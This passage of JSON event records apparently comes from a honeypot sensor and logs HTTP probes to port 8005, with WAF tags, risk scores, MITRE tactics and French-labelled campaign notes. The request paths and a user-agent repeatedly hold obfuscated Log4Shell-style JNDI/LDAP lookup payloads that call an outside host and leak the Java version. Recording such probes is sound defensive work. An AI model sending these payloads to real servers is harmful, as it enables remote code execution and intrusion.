\u0022http_path_depth\u0022: 3, \u0022http_path_ext\u0022: \u0022}${fn:pb9t:-g}${h3:c:m:-o}${z:ito:n:-o}${4twd:x:-g}}\u0022, \u0022http_ua_hash\u0022: \u00229468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c\u0022, \u0022http_host_hash\u0022: \u0022474d34701ef094042bceaaeec604d0fd7a5f5a84\u0022, \u0022http_target_hash\u0022: \u0022c5c196d217126fc4ff66330f3f36586fc382101c\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022PUT\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 4096, \u0022payload_entropy\u0022: 4.884492768510018, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8005, \u0022risk_waf\u0022: 100.0, \u0022risk_classification\u0022: 60.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 43.0, \u0022risk_novelty\u0022: 25.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 3.6, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 60.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0}, \u0022risk_score\u0022: 58, \u0022tag_count\u0022: 7, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022188f3855478ebda72297803c7306050fd19e454c\u0022, \u0022event_fingerprint\u0022: \u00220cde33370b55f1c59f55ec862a822d868adaa863\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022, \u0022confidence\u0022: 0.68, \u0022classification_confidence\u0022: 0.68, \u0022precision_score\u0022: 70, \u0022precision_signals\u0022: [\u0022pat-0162\u0022], \u0022kb_rule_ids\u0022: [\u0022pat-0162\u0022], \u0022matched_patterns\u0022: [\u0022pat-0162\u0022], \u0022matched_pattern_names\u0022: [\u0022CRS 933135\u0022], \u0022pattern_ids\u0022: [\u0022pat-0162\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 60.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 58, \u0022correlation_boost\u0022: 18}, \u0022named_classification_skipped\u0022: true, \u0022named_candidate\u0022: \u0022php_injection\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 50.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u00222994862c1f8176879ed381354c9dd245\u0022, \u0022payload_hash\u0022: \u0022d926d5ba78e18ff202048fceb99cf308\u0022, \u0022path_pattern_hash\u0022: \u0022d171869739db5ce559de2f61307dee76\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8005, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 58}, \u0022method\u0022: \u0022PUT\u0022, \u0022path\u0022: \u0022\/${${i:o:-j}${dc91:vxnf:ei:-n}${j58:pxc:-d}${35c:39:ute:-i}${jr1:btxq:q2o:-:}${y:wv:-l}${6y:-d}${bxw9:-a}${k:-p}${7ib:y:-:}${tg:ec:w0:-\/}${e:db6x:-\/}${kd:al:il:-P}${fwhy:r6z4:-A}${bp:b5ig:-l}${8:6:o3c:-0}${v3g:c:dm9:-c}${j:--}${${fp17:36b:sinu:-s}${z:-y}${7d:4ylc:-s}${n948:zv6:-:}${bc:-j}${hu4:cq:-a}${o4:8a9w:-v}${bd2m:-a}${koge:jiu:wgk:-.}${qc:fg:-v}${ygn:qdo:-e}${7:bh:o:-r}${pdfi:kw:s1wa:-s}${uito:jq4x:va:-i}${9532:-o}${dow0:-n}}${09z:-.}${4jfp:6rs:-f}${kub:jco:4a:-0}${umtp:8aw:-5}${n:-c}${uk1i:plw:-3}${f\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022PUT \/${${i:o:-j}${dc91:vxnf:ei:-n}${j58:pxc:-d}${35c:39:ute:-i}${jr1:btxq:q2o:-:}${y:wv:-l}${6y:-d}${bxw9:-a}${k:-p}${7ib:y:-:}${tg:ec:w0:-\/}${e:db6x:-\/}${kd:al:il:-P}${fwhy:r6z4:-A}${bp:b5ig:-l}${8:6:o3c:-0}${v3g:c:dm9:-c}${j:--}${${fp17:36b:sinu:-s}${z:-y}${7d:4ylc:-s}${n948:zv6:-:}${bc:-j}${hu4:cq:-a}${o4:8a9w:-v}${bd2m:-a}${koge:jiu:wgk:-.}${qc:fg:-v}${ygn:qdo:-e}${7:bh:o:-r}${pdfi:kw:s1wa:-s}${uito:jq4x:va:-i}${9532:-o}${dow0:-n}}${09z:-.}${4jfp:6rs:-f}${kub:jco:4a:-0}${umtp:8aw:-5}${n:-c}${uk1i:plw:-3\u0022, \u0022payload_snippet\u0022: \u0022PUT \/${${i:o:-j}${dc91:vxnf:ei:-n}${j58:pxc:-d}${35c:39:ute:-i}${jr1:btxq:q2o:-:}${y:wv:-l}${6y:-d}${bxw9:-a}${k:-p}${7ib:y:-:}$\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022PUT\u0022, \u0022path\u0022: \u0022\/${${i:o:-j}${dc91:vxnf:ei:-n}${j58:pxc:-d}${35c:39:ute:-i}${jr1:btxq:q2o:-:}${y:wv:-l}${6y:-d}${bxw9:-a}${k:-p}${7ib:y:-:}${tg:ec:w0:-\/}${e:db6x:-\/}${kd:al:il:-P}${fwhy:r6z4:-A}${bp:b5ig:-l}${8:6:o3c:-0}${v3g:c:dm9:-c}${j:--}${${fp17:36b:sinu:-s}${z:-y}${7d:4ylc:-s}${n948:zv6:-:}${bc:-j}${hu4:cq:-a}${o4:8a9w:-v}${bd2m:-a}${koge:jiu:wgk:-.}${qc:fg:-v}${ygn:qdo:-e}${7:bh:o:-r}${pdfi:kw:s1wa:-s}${uito:jq4x:va:-i}${9532:-o}${dow0:-n}}${09z:-.}${4jfp:6rs:-f}${kub:jco:4a:-0}${umtp:8aw:-5}${n:-c}${uk1i:plw:-3}${f\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022PUT \/${${i:o:-j}${dc91:vxnf:ei:-n}${j58:pxc:-d}${35c:39:ute:-i}${jr1:btxq:q2o:-:}${y:wv:-l}${6y:-d}${bxw9:-a}${k:-p}${7ib:y:-:}${tg:ec:w0:-\/}${e:db6x:-\/}${kd:al:il:-P}${fwhy:r6z4:-A}${bp:b5ig:-l}${8:6:o3c:-0}${v3g:c:dm9:-c}${j:--}${${fp17:36b:sinu:-s}${z:-y}${7d:4ylc:-s}${n948:zv6:-:}${bc:-j}${hu4:cq:-a}${o4:8a9w:-v}${bd2m:-a}${koge:jiu:wgk:-.}${qc:fg:-v}${ygn:qdo:-e}${7:bh:o:-r}${pdfi:kw:s1wa:-s}${uito:jq4x:va:-i}${9532:-o}${dow0:-n}}${09z:-.}${4jfp:6rs:-f}${kub:jco:4a:-0}${umtp:8aw:-5}${n:-c}${uk1i:plw:-3\u0022, \u0022request_sample\u0022: \u0022PUT \/${${i:o:-j}${dc91:vxnf:ei:-n}${j58:pxc:-d}${35c:39:ute:-i}${jr1:btxq:q2o:-:}${y:wv:-l}${6y:-d}${bxw9:-a}${k:-p}${7ib:y:-:}${tg:ec:w0:-\/}${e:db6x:-\/}${kd:al:il:-P}${fwhy:r6z4:-A}${bp:b5ig:-l}${8:6:o3c:-0}${v3g:c:dm9:-c}${j:--}${${fp17:36b:sinu:-s}${z:-\u0022, \u0022payload_snippet\u0022: \u0022PUT \/${${i:o:-j}${dc91:vxnf:ei:-n}${j58:pxc:-d}${35c:39:ute:-i}${jr1:btxq:q2o:-:}${y:wv:-l}${6y:-d}${bxw9:-a}${k:-p}${7ib:y:-:}$\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022}, \u0022attack_stage\u0022: \u0022probe\u0022, \u0022mitre_tactics\u0022: [\u0022TA0007\u0022, \u0022TA0001\u0022], \u0022mitre\u0022: \u0022TA0007\u0022, \u0022threat_family\u0022: [\u0022unknown\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u0022dc55925af9b5027769b28ebcb4cb6940ec8c56ef\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022PUT\u0022, \u0022http_path\u0022: \u0022\/${${i:o:-j}${dc91:vxnf:ei:-n}${j58:pxc:-d}${35c:39:ute:-i}${jr1:btxq:q2o:-:}${y:wv:-l}${6y:-d}${bxw9:-a}${k:-p}${7ib:y:-:}${tg:ec:w0:-\/}${e:db6x:-\/}${kd:al:il\u2026\u0022, \u0022request_line\u0022: \u0022PUT \/${${i:o:-j}${dc91:vxnf:ei:-n}${j58:pxc:-d}${35c:39:ute:-i}${jr1:btxq:q2o:-:}${y:wv:-l}${6y:-d}${bxw9:-a}${k:-p}${7ib:y:-:}${tg:ec:w0:-\/}${e:db6x:-\/}${kd:al:il:-P}${fwhy:r6z4:-A}${bp:b5ig:-l}${8:\u2026\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8005, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022PUT \/${${i:o:-j}${dc91:vxnf:ei:-n}${j58:pxc:-d}${35c:39:ute:-i}${jr1:btxq:q2o:-:}${y:wv:-l}${6y:-d}${bxw9:-a}${k:-p}${7ib:y:-:}$\u0022, \u0022attack_vector\u0022: \u0022port 8005 tcp \u00b7 via HTTP:8005 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${i:o:-j}${dc91:vxnf:ei:-n}${j58:pxc:-d}${35\u2026\u0022, \u0022target_port_label\u0022: \u00228005 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 58\/100 (Moyen) \u2014 MITRE TA0007 \u2014 confiance 68 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 68, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 60.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 58, \u0022correlation_boost\u0022: 18}, \u0022attack_stage\u0022: \u0022probe\u0022, \u0022attack_stage_label\u0022: \u0022Sonde \/ probe\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 58, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8005, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022pat-0162\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022pat-0162\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022TA0007\u0022, \u0022mitre_technique\u0022: \u0022TA0007\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_coordonn\u00e9\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan coordonn\u00e9\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +18\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022PUT\u0022, \u0022http_path\u0022: \u0022\/${${i:o:-j}${dc91:vxnf:ei:-n}${j58:pxc:-d}${35c:39:ute:-i}${jr1:btxq:q2o:-:}${y:wv:-l}${6y:-d}${bxw9:-a}${k:-p}${7ib:y:-:}${tg:ec:w0:-\/}${e:db6x:-\/}${kd:al:il\u2026\u0022, \u0022request_line\u0022: \u0022PUT \/${${i:o:-j}${dc91:vxnf:ei:-n}${j58:pxc:-d}${35c:39:ute:-i}${jr1:btxq:q2o:-:}${y:wv:-l}${6y:-d}${bxw9:-a}${k:-p}${7ib:y:-:}${tg:ec:w0:-\/}${e:db6x:-\/}${kd:al:il:-P}${fwhy:r6z4:-A}${bp:b5ig:-l}${8:\u2026\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8005, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022port 8005 tcp \u00b7 via HTTP:8005 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${i:o:-j}${dc91:vxnf:ei:-n}${j58:pxc:-d}${35\u2026\u0022, \u0022evidence_snippet\u0022: \u0022PUT \/${${i:o:-j}${dc91:vxnf:ei:-n}${j58:pxc:-d}${35c:39:ute:-i}${jr1:btxq:q2o:-:}${y:wv:-l}${6y:-d}${bxw9:-a}${k:-p}${7ib:y:-:}$\u0022, \u0022target_port_label\u0022: \u00228005 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 68 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022meta_truncated\u0022: true, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228005\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 2, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022http-alt-8005\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 8, \u0022behavior_alerts\u0022: [\u0022coordinated_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 18, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022http_dangerous_method\u0022, \u0022net_sap_pyrfc_probe\u0022, \u0022net_slowloris\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"ip-62-3-50-33.v4.isp.servpersosystems.net:8005","http_user_agent":"Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","http_referer":null,"tags":"[\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022http_dangerous_method\u0022, \u0022net_sap_pyrfc_probe\u0022, \u0022net_slowloris\u0022]","anomalies":"[]","severity":10,"bytes_in":4096},{"id":14676402,"ip":"34.19.116.51","ts":"2026-07-31 15:34:15.000000","proto":"tcp","src_port":36869,"dst_port":8005,"service":"http","classification":"port_8005_tcp","waf_score":26,"waf_tags":"[\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022]","http_method":"GET","http_target":"\/${${cp:7r8:-j}${3:i0ou:2:-n}${r:-d}${9:wd:-i}${yr9:-:}${nt:-l}${vzr:f0w4:917:-d}${r:5je9:p1d:-a}${e:6n8:-p}${cm:-:}${q7d:i12:-\/}${bgut:rej:79:-\/}${i3zt:pe16:2r:-P}${b782:x:-A}${f9no:-l}${i1o3:-0}${x03:ykte:-c}${1t:--}${${cum4:t9:9:-s}${oz2:nvjt:-y}${s:-s}${i:g:mjw:-:}${r3g9:g:fuw6:-j}${ravp:zhc:ami:-a}${ku:-v}${rev:-a}${uy:16fg:-.}${au:-v}${b76k:d2:-e}${l:-r}${yv0:-s}${62q:tbfj:p:-i}${2j:y0n:cpw:-o}${5:-n}}${rx3q:y:-.}${j:-f}${2x:9o4u:-0}${al:1l:-5}${l:1lw8:-c}${t3l:2ncx:-3}${2ch:-e}${ifa:n7jl:-4}${zo:xv:-0}${4av:mink:-8}${c6h:l:2q9:-2}${t1:vjsm:-b}${a6gk:eb:-9}${ab2:-4}${6:-2}${j:it:hv:-8}${to:-f}${3:-7}${0bp:lmp:-9}${s:-7}${lx:hu:45v9:-f}${s:lvb:3ev:-6}${g:qf:is:-e}${ebsk:2g3s:-9}${eg5l:g:-6}${f2op:5q1:-e}${2du:i89c:y:-3}${g7h:-8}${7d:rny:4j2:-f}${0v3i:hv:u:-0}${31:-2}${o8z4:-5}${ap71:ozu:p01:-0}${k9xo:m1s:wakq:-3}${g9:3vq:-3}${3:2:vu:-8}${b:-f}${j:np09:sk:-d}${qde8:em:-9}${f:5kr:n:-0}${5qkh:-e}${cu:0:a9t:-2}${l9f:-a}${e3:-.}${1:-d}${4eh:z23o:-n}${u8:7xg0:mo:-s}${po:sxy:qx9:--}${k1q:i1e:islq:-e}${a6nd:-x}${lo5:4:ekb:-f}${8s:-i}${qom7:l:-l}${3cw:7y:c:-.}${xb:-m}${jv9:c:9y4:-a}${18s:q:-s}${pn9:t4:-m}${y6:i7:4q:-c}${vzj4:d6:uwxo:-o}${n:ma:-r}${pzl:-e}${odu:n7f:--}${x3cu:pjf0:-c}${k0:7:rnxk:-f}${0lb:6q:grvy:--}${y7a:-p}${gz:-r}${5kyi:mc:-o}${e:daw:-d}${ug:qe:2gm:--}${hr:o:-0}${lobh:1i:-2}${j:w32:-.}${m:-m}${kay:ga21:2vb4:-a}${m:sm:-s}${sc:kq1j:h4w:-m}${mv:z:kh:-.}${0:8:ha:-c}${cs6l:mk:tljf:-l}${8:1b0:-o}${6jn:5da:-u}${kdm5:h:k:-d}${a9p:rtu:-f}${53:-e}${ne:67xr:-r}${qni:dbf:-r}${r:-y}${p5h9:3k4:-.}${ba:-g}${uz:nm0:q4:-o}${1:n:-o}${lt4:-g}}","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 4, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 3, \u0022http_path_ext\u0022: \u0022}${ba:-g}${uz:nm0:q4:-o}${1:n:-o}${lt4:-g}}\u0022, \u0022http_ua_hash\u0022: \u0022988b78ab5422fe353f9892fa19dd4c6c5fa59222\u0022, \u0022http_host_hash\u0022: \u0022474d34701ef094042bceaaeec604d0fd7a5f5a84\u0022, \u0022http_target_hash\u0022: \u0022028cd3f594bd54799c07fe1757eebd92524e7f09\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: false, \u0022bytes_in\u0022: 4096, \u0022payload_entropy\u0022: 4.7979886813350365, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8005, \u0022risk_waf\u0022: 100.0, \u0022risk_classification\u0022: 60.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 33.0, \u0022risk_novelty\u0022: 25.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 3.2, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 60.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 25.0}, \u0022risk_score\u0022: 58, \u0022tag_count\u0022: 6, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022b3816d3a8e2cf058c49ad1119d71c1678f6d632d\u0022, \u0022event_fingerprint\u0022: \u0022e1a0ada22283fd63a052d256c808265f2fcebee3\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022, \u0022confidence\u0022: 0.6, \u0022classification_confidence\u0022: 0.6, \u0022precision_score\u0022: 70, \u0022precision_signals\u0022: [\u0022pat-0162\u0022], \u0022kb_rule_ids\u0022: [\u0022pat-0162\u0022], \u0022matched_patterns\u0022: [\u0022pat-0162\u0022], \u0022matched_pattern_names\u0022: [\u0022CRS 933135\u0022], \u0022pattern_ids\u0022: [\u0022pat-0162\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 60.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 58, \u0022correlation_boost\u0022: 10}, \u0022named_classification_skipped\u0022: true, \u0022named_candidate\u0022: \u0022php_injection\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 50.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u00226171e5124a6ab4c5e4f0eb037253d970\u0022, \u0022payload_hash\u0022: \u002228d258f28ff818d070d57fdac8f7249e\u0022, \u0022path_pattern_hash\u0022: \u0022764868500e807cab1fb8e264333445af\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8005, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 58}, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/${${cp:7r8:-j}${3:i0ou:2:-n}${r:-d}${9:wd:-i}${yr9:-:}${nt:-l}${vzr:f0w4:917:-d}${r:5je9:p1d:-a}${e:6n8:-p}${cm:-:}${q7d:i12:-\/}${bgut:rej:79:-\/}${i3zt:pe16:2r:-P}${b782:x:-A}${f9no:-l}${i1o3:-0}${x03:ykte:-c}${1t:--}${${cum4:t9:9:-s}${oz2:nvjt:-y}${s:-s}${i:g:mjw:-:}${r3g9:g:fuw6:-j}${ravp:zhc:ami:-a}${ku:-v}${rev:-a}${uy:16fg:-.}${au:-v}${b76k:d2:-e}${l:-r}${yv0:-s}${62q:tbfj:p:-i}${2j:y0n:cpw:-o}${5:-n}}${rx3q:y:-.}${j:-f}${2x:9o4u:-0}${al:1l:-5}${l:1lw8:-c}${t3l:2ncx:-3}${2ch:-e}${ifa:n7jl:-4}${zo:xv:-\u0022, \u0022user_agent\u0022: \u0022${${w5k:693m:6nj:-j}${g:g:l8o:-n}${bru:-d}${sr2:-i}${q7pw:-:}${1xd:r:-l}${m:-d}${5fr:-a}${lh:0o:-p}${w:6fvd:eh:-:}${6xcf:-\/}${6o3z:z:-\/}${qt1u:mrky:v:-U}${dr:0:-A}${iwa:l:2v6:-l}${r0dp:-0}${kr:9:-c}${dxz:c:--}${${8s:jb:-s}${cd:-y}${2t:otcp:-s}${iq0t:-:}${\u2026\u0022, \u0022waf_tags\u0022: [\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET 